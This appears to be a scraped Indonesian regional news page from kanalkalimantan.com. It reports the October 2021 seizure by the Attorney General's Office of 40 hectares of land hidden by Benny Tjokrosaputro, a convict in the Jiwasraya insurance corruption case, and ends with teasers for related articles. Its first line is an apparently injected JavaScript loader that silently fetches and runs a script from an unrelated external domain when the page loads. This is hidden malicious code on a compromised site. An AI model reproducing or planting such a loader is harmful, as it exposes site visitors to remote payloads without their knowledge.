(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Tak ada yang menyangka, maling kelas kakap kasus korupsi BUMN asuransi Jiwasraya simpan hartanya di Provinsi Kalimantan Selatan.
Ya, salah satu garong asuransi Jiwasraya Benny Tjokrosaputro menyimpan hartanya berupa 40 hektare lahan di Desa Kayu Bawang, Kecamatan Gambut, Kabupaten Banjar, Kalsel.
Harta diduga hasil korupsi itu terungkap saat tim Kejagung RI merampas dan menilai harga lahan di Desa Kayuh Bawang, pada Kamis (21/10/2021) siang.
Baca juga: Lewat Seduhan Kekinian, Petani Milenial Kembangkan 3 Kopi dari Kabupaten Banjar
Staf Kejari Banjar memasang plang pengumuman berisikan perampasan tanah dan bangunan atas dasar putusan Mahkamah Agung RI nomor 2937.k/pid-sus/2021, disaksikan oleh Kepala Pusat Pemulihan Aset Kejagung RI Elan Suherlan, tim Kejati Kalsel dan Kajari banjar Hartadi C.
Hasil penyelidikan Kejagung RI, wilayah Kabupaten Banjar, Provinsi Kalsel, menjadi salah satu penyembunyian aset terpidana korupsi yang mengakibatkan kerugian BUMN asuransi sebesar Rp 16 trilliun.
Aset lahan yang disembunyikan koruptor tepatnya berada di Desa Kayu Bawang, Kecamatan Gambut, Kabupaten Banjar.
Berdasarkan data harta berupa lahan seluas 40 hektare itu, terdiri dari 26 bidang tanah yang tersebar di beberapa lokasi. Baik berupa lahan sawah produktif, maupun lahan yang belum digarap. Modusnya, untuk menyamarkan kepemilikan aset, koruptor yang disapa Bentjo itu masih menggunakan sejumlah nama warga setempat.
Baca juga: Santri, Resolusi Jihad, dan Pertempuran Tanpa Lelah Mengusir Kolonialisme!
Menurut Kepala Pusat Pemulihan Aset Kejagung RI Elan Suherlan, kedatangan rombongan untuk meninjau dan menilai estimasi total harga lahan milik Bentjo seluas 40 hektare, sekaligus menjalankan perintah Mahkamah Agung RI merampas tanah.
Sementara itu, Kejagung RI juga siap menerima komplain dari masyarakat, apabila lahan yang dirampas terjadi bersinggungan dengan lahan warga selama memiliki bukti konkrit.
Benny Tjokrosaputro menjadi salah satu koruptor yang mengakibatkan BUMN asuransi Jiwasraya mengalami kerugian hingga Rp 16 trilliun, dan pada tanggal 24 Agustus 2021 Mahkamah Agung RI menolak permohonan kasasi terpidana hukuman penjara seumur hidup itu. (kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.